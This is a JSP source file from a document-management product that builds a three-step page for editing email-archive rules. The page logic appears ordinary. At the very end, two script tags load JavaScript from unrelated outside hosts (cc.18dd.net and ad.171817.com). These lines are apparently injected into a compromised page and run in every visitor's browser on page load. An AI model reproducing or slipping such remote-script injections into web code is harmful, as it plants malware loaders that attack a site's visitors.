<%
/*
 * @(#)EditEmaiArchiveRule.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditEmaiArchiveRule.jsp

    @author           nancy zhang
    @company          DCIVision Limited
    @creation date    26/7/2003
    @version          $Revision: 1.86.4.8 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.rules.*"%>
<%@ page import="com.dcivision.dms.web.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.rules.*"%>
<%@ page import="com.dcivision.alert.bean.*"%>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintEmailArchiveRuleForm" scope="request" class="com.dcivision.dms.web.MaintEmailArchiveRuleForm"/>

<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/EmailRuleEngineHelper.js'> </script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/engine.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/util.js'></script>
<!-- script language="Javascript" src="<%=request.getContextPath()%>/jsp/dms/EmailArchiveRuleMenue.jsp" charset="UTF-8" type="text/javascript"></script -->
<script language="javascript" src="<%= request.getContextPath() %>/js/EditEmailArchiveRule.js" charset="UTF-8" type="text/javascript"></script>


<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
  
     String[][] CRITERION_MAP = { //{"email_archive.rule.receipient",MaintEmailArchiveRuleForm.CRITERION_RECEIPIENT},
     {"email_archive.rule.subject",MaintEmailArchiveRuleForm.CRITERION_SUBJECT},
     {"email_archive.rule.message",MaintEmailArchiveRuleForm.CRITERION_MESSAGE},
     {"email_archive.rule.messagebody",MaintEmailArchiveRuleForm.CRITERION_MESSAGE_BODY},
     {"email_archive.rule.to",MaintEmailArchiveRuleForm.CRITERION_EMAILTO},
     {"email_archive.rule.cc",MaintEmailArchiveRuleForm.CRITERION_EMAILCC},
     {"email_archive.rule.from",MaintEmailArchiveRuleForm.CRITERION_EMAILFROM}
    				                    };

     String[][] CRITERION_type= { {"email_archive.rule.is",RuleOperationConstant.PREDICATE_TYPE_EQUAL},
                                  {"email_archive.rule.contains",RuleOperationConstant.PREDICATE_TYPE_CONTAINES_ARRAY}
                                  //{"email_archive.rule.member_of",RuleOperationConstant.PREDICATE_TYPE_CONTAINES}
                                };

     String[][] CRITERION_type2= { {"email_archive.rule.is",RuleOperationConstant.PREDICATE_TYPE_EQUAL},
                                   {"email_archive.rule.contains",RuleOperationConstant.PREDICATE_TYPE_CONTAINES}
                                 };

     String[][] CRITERION_type3= {{"email_archive.rule.has",RuleOperationConstant.PREDICATE_TYPE_GREATER_THAN_OR_EQUAL}
                                  //{"email_archive.rule.contains",RuleOperationConstant.PREDICATE_TYPE_CONTAINES}
                                 }; 
                                 
     String[][] action_type= { {"email_archive.rule.notyfy_me",MaintEmailArchiveRuleForm.ACTION_NOTIFY_ME},
                               {"email_archive.rule.route_to",MaintEmailArchiveRuleForm.ACTION_RUTE_TO},
                               {"email_archive.rule.start_workflow",MaintEmailArchiveRuleForm.ACTION_START_WORKFLOW}
                             };
                               
   try{ 
     List criterionList = maintEmailArchiveRuleForm.getCondition();
     List actionList = maintEmailArchiveRuleForm.getConclusion();
     Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);

     //Parameters used for DMS
     String rootID  = maintEmailArchiveRuleForm.getRootID()==null? request.getParameter("rootID")==null? "" : (String) request.getParameter("rootID"):(String)maintEmailArchiveRuleForm.getRootID();
     String parentID = maintEmailArchiveRuleForm.getParentID()==null? request.getParameter("parentID")==null? "" : (String) request.getParameter("parentID"):(String)maintEmailArchiveRuleForm.getParentID();

     String opMode = maintEmailArchiveRuleForm.getOpMode();
     String navMode = maintEmailArchiveRuleForm.getNavMode();

     List ruleList = (List)request.getAttribute("ruleList");

     String[][] ruleOrderArr = (String[][])request.getAttribute("ruleOrderArray");

     String mulitpleRecordValue = (String)request.getAttribute("mulitpleRecordValue");

     DmsRootDAObject rootDAO = new DmsRootDAObject(sessionContainer, conn);
     List personalRootList = rootDAO.getAllPersonalRootList();
     int rootIDCount = 0;
     DmsRoot dmsRoot = null;
     String rootIDStr = "";
     for (int i =0;i<personalRootList.size(); i++){
       dmsRoot = (DmsRoot)personalRootList.get(i);
       if (i!=0){
         rootIDStr += ",";
       }
       rootIDStr += TextUtility.formatIntegerObj(dmsRoot.getID());
     }
   /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>

<html:form action="dms/MaintEmailArchiveRule">
<html:javascript formName="maintEmailArchiveRuleForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>


<script language="Javascript">
<!--
var previousImage = "<img src=\"<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/LayoutNavMenuBack.gif\" align=\"absmiddle\" border=\"0\">";
var nextImage = "<img src=\"<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/LayoutNavMenuForward.gif\" align=\"absmiddle\" border=\"0\">";
var isTrue = "<%=GlobalConstant.TRUE%>";

function checkRule(error) {
   
   if ("A" == error) {
     alert("<bean:message key='email_archive.rule.add_one_condition'/>") ;
     showTab('RuleConditionDiv');
     return false;
     
   } else if ("B" == error) {
     alert("<bean:message key='email_archive.rule.add_one_action'/>") ;
     showTab('RuleActionDiv');
     return false;
     
   } else if ("C" == error ) {
     alert("<bean:message key='email_archive.rule.rule_condition_is_not_integrated'/>") ;
     showTab('RuleConditionDiv');
     return false;
     
   } else if ("D" == error) {
     alert("<bean:message key='email_archive.rule.rule_action_is_not_integrated'/>") ;
     showTab('RuleActionDiv');
     return false;
   }  
   
   showTab('RuleContentDiv');      
   submitRule();
   
   if (addMore) {
     setTimeout("OpSaveAndNew();",500);     
   } else {
     setTimeout("OpSave();",500); 
   }
   return true;
 } 

 -->
</script>



<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='actionNum'/>
<html:hidden property='criterionNum'/>
<html:hidden property='delType'/>
<html:hidden property='delID'/>
<html:hidden property='addFlag'/>
<html:hidden property='detailDescription'/>

<html:hidden property='conditionValue' />
<html:hidden property='actionValue'/>

<html:hidden property='conditionStr'/>
<html:hidden property='conclusionStr'/>

<html:hidden property='ruleType' value='<%=Utility.isEmpty(maintEmailArchiveRuleForm.getRuleType() ) ? RuleOperationConstant.RULE_TYPE_PUBLIC : maintEmailArchiveRuleForm.getRuleType()%>'/>
<html:hidden property='ruleCategory' value='<%=RuleOperationConstant.RULE_CATEGORY_EMAIL_ARCHIVE%>'/>

<!-- Page Title Section -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle functionCode='<%=request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY).toString()%>'/></font>
<layout:returnButton>ListEmailArchiveRule.do?ruleType=<%=maintEmailArchiveRuleForm.getRuleType()%>&opMode=LRETAIN</layout:returnButton>
</layout:titleFormat>

<table width="100%" cellpadding="20" cellspacing="0" border="0">
<tr>
  <td>
<table width="780" cellpadding="0" cellspacing="2" border="0" align="left" height="100%"><tr><td>
<table width="100%" border="0" cellpadding="0" cellspacing="0" >

<!-- Step 1/2/3 Tab Begin -->
<tr><td colspan="2">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td width="130">
  <table width="130"  height="22" border="0" cellpadding="0" cellspacing="0" style="cursor:hand;" onclick="javascript:showTab('RuleConditionDiv');">
  <tr>
  <td width="5"><html:img src="LayoutWhiteTabLeft.gif" /></td>
  <td id="RuleConditionDivTab" width="120" align="center" valign="middle" background="<html:img src='LayoutWhiteTabBg.gif'  pathOnly='true'/>" style="font-family:Arial;font-weight:bold;font-size:12px;color:#0000AA"><bean:message key="email_archive.rule.step_1"/></td>
  <td width="5"><html:img src="LayoutWhiteTabRight.gif" /></td>
  </tr>
  </table>
</td>
<td width="130">
  <table width="130"  height="22" border="0" cellpadding="0" cellspacing="0" style="cursor:hand;" onclick="javascript:showTab('RuleActionDiv');">
  <tr>
  <td width="5"><html:img src="LayoutWhiteTabLeft.gif" /></td>
  <td id="RuleActionDivTab" width="120" align="center" valign="middle" background="<html:img src='LayoutWhiteTabBg.gif'  pathOnly='true'/>" style="font-family:Arial;font-weight:bold;font-size:12px"><bean:message key="email_archive.rule.step_2"/></td>
  <td width="5"><html:img src="LayoutWhiteTabRight.gif" /></td>
  </tr>
  </table>
</td>
<td width="130">
  <table width="130"  height="22" border="0" cellpadding="0" cellspacing="0" style="cursor:hand;" onclick="javascript:showTab('RuleContentDiv');">
  <tr>
  <td width="5"><html:img src="LayoutWhiteTabLeft.gif" /></td>
  <td id="RuleContentDivTab" width="120" align="center" valign="middle" background="<html:img src='LayoutWhiteTabBg.gif'  pathOnly='true'/>" style="font-family:Arial;font-weight:bold;font-size:12px"><bean:message key="email_archive.rule.step_3"/></td>
  <td width="5"><html:img src="LayoutWhiteTabRight.gif" /></td>
  </tr>
  </table>
</td>
<td width="400" colspan="2" align="right">
  <table border="0" cellspacing="0" cellpadding="0">
  <tr>
  <td class="formLabelSmallMan" width="18">&nbsp; </td>
  <td class="bodySmallBold" nowrap>&nbsp;<bean:message key='common.label.mandatory'/>&nbsp;&nbsp;&nbsp;&nbsp;</td>
  </tr>
  </table>
</td>
</tr></table>  
</td></tr>
<!-- Step 1/2/3 Tab End -->
<tr><td colspan="2">
<table bgcolor="#727272" height="300" width="800" cellpadding="0" cellspacing="1" border="0"><tr><td bgcolor="#FFFFFF" valign="top">
<table width="100%" cellpadding="0" cellspacing="2" border="0"><tr><td bgcolor="#FFFFFF" valign="top">
<!-- Rule Condition Div Begin -->
<div id="RuleConditionDiv" style="display:block">  
  <table width="100%" cellpadding="0" cellspacing="2" border="0" align="left">
  <tr>
  <td colspan="2" class="blackline"><html:img src='LayoutSpacer.gif'  width='1'/></td>
  </tr>
  <tr>
  <td colspan="2" class="sectionTitle" valign="bottom" nowrap bgColor='#B5D2EA'><bean:message key='email_archive.rule.select_the_conditions_for_your_rule'/>:</td>
  </tr>
  <tr>
  <td colspan="2" class="blackline"><html:img src='LayoutSpacer.gif'  width='1'/></td>
  </tr>
  <tr>
     <td colspan="2">&nbsp;</td>
  </tr>
  <tr>
   <td colspan=3><bean:message key='email_archive.rule.if'/>
   </td>   
  </tr>           
  <tr>
   <td width='10'>&nbsp;</td>
   <td><span id='condSpan'></span></td>         
   <td></td>        
  </tr>  
  </tr>
    <td width='10'>&nbsp;</td>
    <td colspan=2 width='90%'><span id="addCondSpan"></span></td>   
  </tr>
  <tr>
     <td colspan="2">&nbsp;</td>
  </tr>
   
  </table>
</div> 
<!-- Rule Condition Div End -->
</td></tr>
<tr><td>
<!-- Rule Action Div Begin -->
<div id="RuleActionDiv" style="display:none">
  <table width="100%" cellpadding="0" cellspacing="2" border="0" align="left">  
  <tr>
    <td colspan="2" class="blackline"><html:img src='LayoutSpacer.gif'  width='1'/></td>
  </tr> 
  <tr>
    <td colspan="2" class="sectionTitle" valign="bottom" nowrap bgColor='#B5D2EA'><bean:message key='email_archive.rule.select_the_actions_for_your_rule'/>:</td>
  </tr>
  <tr>
    <td colspan="2" class="blackline"><html:img src='LayoutSpacer.gif'  width='1'/></td>
  </tr>
  <tr>
     <td>&nbsp;</td>
  </tr>
  <tr>
    <td colspan=3><bean:message key='email_archive.rule.then'/></td>
  </tr> 
  <tr>         
   <td width='10'>&nbsp;</td>
   <td><span id='actionSpan'></span></td>         
   <td></td>  
  </tr>           
  <tr>
    <td width='10'>&nbsp;</td>
    <td colspan=2 width='90%'><span id="addActionSpan"></span></td>   
  </tr> 
  <tr>
     <td>&nbsp;</td>
  </tr>   
  </table>  
</div>
<!-- Rule Action Div End -->
</td></tr>
<tr><td>
<!-- Rule Content Div Begin -->
<div id="RuleContentDiv" style="display:none">  
   <!--Rule Information begin-->     
  <table width="785" cellpadding="0" cellspacing="2" border="0" align="left">    
  <tr>
    <td colspan="2" class="blackline"><html:img src='LayoutSpacer.gif'  width='1'/></td>
  </tr> 
  <tr>
    <td colspan="2" class="sectionTitle" valign="bottom" nowrap bgColor='#B5D2EA'><bean:message key='email_archive.rule.name_of_the_rule'/>:</td>
  </tr>
  <tr>
    <td colspan="2" class="blackline"><html:img src='LayoutSpacer.gif'  width='1'/></td>
  </tr>
  <tr>
  <td class="formLabelSmallMan" width="150"><bean:message key='email_archive.label.rule_name'/>:&nbsp;</td>
  <td class=dataField ><html:text property='ruleName'/></td>
  </tr>
  <tr>
  <td class="formLabelSmall" valign="top" width="150"><bean:message key='email_archive.rule.description'/>:&nbsp;</td>
  <%
  String description = maintEmailArchiveRuleForm.getDetailDescription();
  maintEmailArchiveRuleForm.setDescription(TextUtility.htmlToPlainText(description,false));  
  %>
  <td  class="formFieldSmall" ><html:textarea property='description' cols='50' rows='5' textlimit='255' disabled="true"/></td>
  </tr>
  
  <!--tr>
  <td class="formLabelSmall" valign="top" width="150"><bean:message key='email_archive.rule.execute_after_rule'/>:&nbsp;</td>
  
  <td  class="formFieldSmall" width="630">
    <html:select property='ruleOrder'>
      <html:options stringArray='<%=ruleOrderArr%>' convertLabel='false' hasSelect='false'/>
    </html:select>
  </td>
  </tr-->
  <html:hidden property='ruleOrder'/>
  
  <tr>
  <td class=dataLabel vAlign=top  width="150"><bean:message key="email_archive.label.rule_execute"/>:&nbsp;</td>
  <td class=dataField >
  
  <html:radio  property="relation" value="<%=RuleOperationConstant.CONDITION_AND%>" onclick="changeRuleRelation(this)" ><bean:message key="email_archive.rule.all_met"/> </html:radio> 
  <html:radio  property="relation" value="<%=RuleOperationConstant.CONDITION_OR%>" onclick="changeRuleRelation(this)" ><bean:message key="email_archive.rule.one_met"/> </html:radio> 
  </td>
  </tr>
  
  <tr>
  <td class=dataLabel vAlign=top  width="150">&nbsp;</td>
  <td class=dataField >
  <html:checkbox property="applyOther" ><bean:message key="email_archive.rule.donot_apply_otherrule"/></html:checkbox>
  </td>
  </tr>
  
  <tr>
  <td class="formLabelSmall" valign="top" width="150"><bean:message key='email_archive.rule.enable'/>:&nbsp;</td>
  <td  class="formFieldSmall" ><html:checkbox property="ruleEnable" value='<%=GlobalConstant.TRUE%>' ></html:checkbox></td>
  </tr>
  
  </table>
  <!--Rule Information end-->  
        
</div>  
<!-- Rule Content Div End -->
</td></tr></table>
</td></tr></table>

</td><tr>

<tr><td colspan="2">&nbsp;

</td></tr>
<tr><td colspan="2">
  <table width="100%" cellpadding="0" cellspacing="2" border="0" align="left">  
    <tr>
      <td><span id='stepNavigationSpan'/></td>
    </tr>
  </table> 
</td></tr>

 <tr><td colspan="2"> 
 </td></tr>

<!-- Mandarax begin -->

<%
  List workflowList = maintEmailArchiveRuleForm.getAllWorkflow();
  
  String optionStr = "";
  
  for(int j=0;j<workflowList.size();j++){
    String tmpStr = "";
    
    WorkflowRecord wfRecord = (WorkflowRecord)workflowList.get(j);
    
    tmpStr += wfRecord.getID().toString();
    tmpStr += "##" + wfRecord.getWorkflowCode() + " (" + wfRecord.getWorkflowVersion() + ")";
    
    if (j>0) {
      optionStr += "$$";
    }
    optionStr += tmpStr;
  }
  
  String tmpConStr = TextUtility.escapeJSString(maintEmailArchiveRuleForm.getConditionStr());  
  String detailDescription = TextUtility.escapeJSString(maintEmailArchiveRuleForm.getDetailDescription());
%>
<script language="Javascript">
<!--
 var language = '<%=sessionContainer.getSessionLocale()%>';   
 var contextPath = '<%= request.getContextPath() %>';
 var optionString = '<%=optionStr%>';
 var isAnd = '<%=RuleOperationConstant.CONDITION_AND.equals(maintEmailArchiveRuleForm.getRelation())? "true" : "false"%>';
 
  function init(){
    showTab('RuleConditionDiv');
    document.onmousedown = Mouse;
    try {
      //set the "select a condition"   
      EmailRuleEngineHelper.initObjects(doNothing, '<%= request.getContextPath() %>', '<%=sessionContainer.getSessionLocale()%>', '<%=optionStr%>');            
    } catch (exception) {
      //init();
    } 
    setTimeout("getDefaultValue()",500);   
  }
    
  function getDefaultValue(){ 
    <%if ( "E".equals(maintEmailArchiveRuleForm.getNavMode()) ) { %>       
        EmailRuleEngineHelper.getConditionString(displayCondSpanAddCondSpan, '<%=tmpConStr%>', '<%=RuleOperationConstant.CONDITION_AND.equals(maintEmailArchiveRuleForm.getRelation())? "true" : "false"%>');
        EmailRuleEngineHelper.getActionString(displayActionSpanAddActionSpan, '<%=maintEmailArchiveRuleForm.getConclusionStr()%>', '<%=sessionContainer.getSessionLocale()%>', '<%=optionStr%>' );
    
    <%} else if ( "V".equals(maintEmailArchiveRuleForm.getNavMode()) ) { %>  
      var description = "<%=detailDescription%>";
      var IF = "<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),"email_archive.rule.if")%><br>";
      var THEN = "<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),"email_archive.rule.then")%><br>";
      displaySpan( description.substring( description.indexOf(IF) + IF.length, description.indexOf("THEN")) );
      displayActionSpan( description.substring( description.indexOf(THEN) + THEN.length ) );
      showTab('RuleContentDiv');
    <%} else {%>   
    	  var coditionValue = "<%=maintEmailArchiveRuleForm.getConditionValue()%>"
    	  if(coditionValue=="" || coditionValue==null || coditionValue=="null"){
          if (maintEmailArchiveRuleForm.relation[0]) {
            EmailRuleEngineHelper.getOption1(displaySpan, '<%=sessionContainer.getSessionLocale()%>', maintEmailArchiveRuleForm.relation[0].checked);          
          
          } else {
            EmailRuleEngineHelper.getOption1(displaySpan, '<%=sessionContainer.getSessionLocale()%>', '<%=maintEmailArchiveRuleForm.getRelation()%>');    
          
          }
          EmailRuleEngineHelper.getActionDiv(displayActionSpan, '<%=sessionContainer.getSessionLocale()%>','<%=request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY).toString()%>');  
        }else{
          EmailRuleEngineHelper.getConditionString(displayCondSpanAddCondSpan, '<%=maintEmailArchiveRuleForm.getConditionStr()%>', '<%=RuleOperationConstant.CONDITION_AND.equals(maintEmailArchiveRuleForm.getRelation())? "true" : "false"%>');
          EmailRuleEngineHelper.getActionString(displayActionSpanAddActionSpan, '<%=maintEmailArchiveRuleForm.getConclusionStr()%>', '<%=sessionContainer.getSessionLocale()%>', '<%=optionStr%>' );
        }
            
    <%}%>    
     
    return true;
  }   
  
  
  
  function selectedCondition(conditionValue, conditionDesc, divName){ 
    hideDivs(divName);  
    EmailRuleEngineHelper.getOption2(displaySpan, conditionValue, conditionDesc, language, maintEmailArchiveRuleForm.relation[0].checked);         
    if ('<%=MaintEmailArchiveRuleForm.CRITERION_MESSAGE%>' == conditionValue) {
      displayAddCondSpan('<%=GlobalConstant.TRUE%>'); 
    } else {
      EmailRuleEngineHelper.displayCondPlus(displayAddCondSpan); 
    }
  }
 
  
  
  function selectedAction(value, description, divName){
    var optionString = "<%=optionStr%>";
    hideDivs(divName);
    
    if(description.indexOf("<bean:message key='email_archive.rule.start_workflow'/>")>=0 && optionString==""){
      alert("<bean:message key='email_archiive.rule.no_workflow_to_select'/>");
    }else{
      EmailRuleEngineHelper.getActionCategory(displayActionSpan, value, description, language, '<%=optionStr%>'); 
    }   
  }  
  
-->
</script>

<tr>
  <td>
  <table width="100%" border="0" cellspacing="0" cellpadding="0">   
    <tr> 
    <td colspan="2" class="blackline"><html:img src='LayoutSpacer.gif'  width='1'/></td>
    </tr>
  </table>  
  </td>
</tr>


<script language="Javascript">
<!--
  init();  
-->
</script>

<!-- Mandarax end -->
</table>
</td></tr>
<tr align="center">
<td>
  <%if (GlobalConstant.NAV_MODE_NEW.equals(navMode)){%>
    <html:standardButton label="common.label.complete" onClick="return OpCusSave()"/>
    <html:standardButton label="common.label.more" onClick="return OpCusSaveAndNew()"/>	
  <%}else if(GlobalConstant.NAV_MODE_VIEW.equals(navMode)&&!GlobalConstant.OP_MODE_DELETE.equals(opMode)){%>
    <html:standardButton label="common.label.edit" link='<%="MaintEmailArchiveRule.do?navMode=E&ID="+maintEmailArchiveRuleForm.getID()+"&ruleType="+maintEmailArchiveRuleForm.getRuleType()%>'/>
  <%}else if (GlobalConstant.NAV_MODE_EDIT.equals(navMode) ){%>
    <html:standardButton label="common.label.complete" onClick="return OpCusSave()"/>
    <html:standardButton label="common.label.delete" onClick="return OpDelete()"/>
  <%}%>

</td></tr>

 <tr>
  <td colspan="2"><layout:auditTrail/></td>
 </tr>

</table>



</html:form>

<%} catch(Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
  } 
%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>